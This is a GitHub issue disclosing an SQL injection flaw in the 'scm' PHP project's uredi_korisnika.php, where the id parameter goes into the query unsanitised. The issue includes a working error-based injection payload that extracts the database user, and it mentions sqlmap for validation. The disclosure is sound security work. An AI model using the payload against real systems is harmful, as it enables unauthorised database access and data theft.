Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

SQL injection vulnerability exists in scm #1

Closed
huclilu opened this issue Nov 15, 2022 · 0 comments
Closed

SQL injection vulnerability exists in scm #1

huclilu opened this issue Nov 15, 2022 · 0 comments

Comments

@huclilu
Copy link

huclilu commented Nov 15, 2022

Build environment: Aapche2.4.39; MySQL5.7.26; PHP7.3.4

From line 22 to line 29, $id gets the get data and then brings it into the database for query

$result returns the database connection results and data query results

  • We can use sqlmap to validate

  • Manual SQL injection proof

POC:

http://127.0.0.1/uredi_korisnika.php?id=1 or (select 1174 from(select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)
@huclilu huclilu closed this as completed Nov 15, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant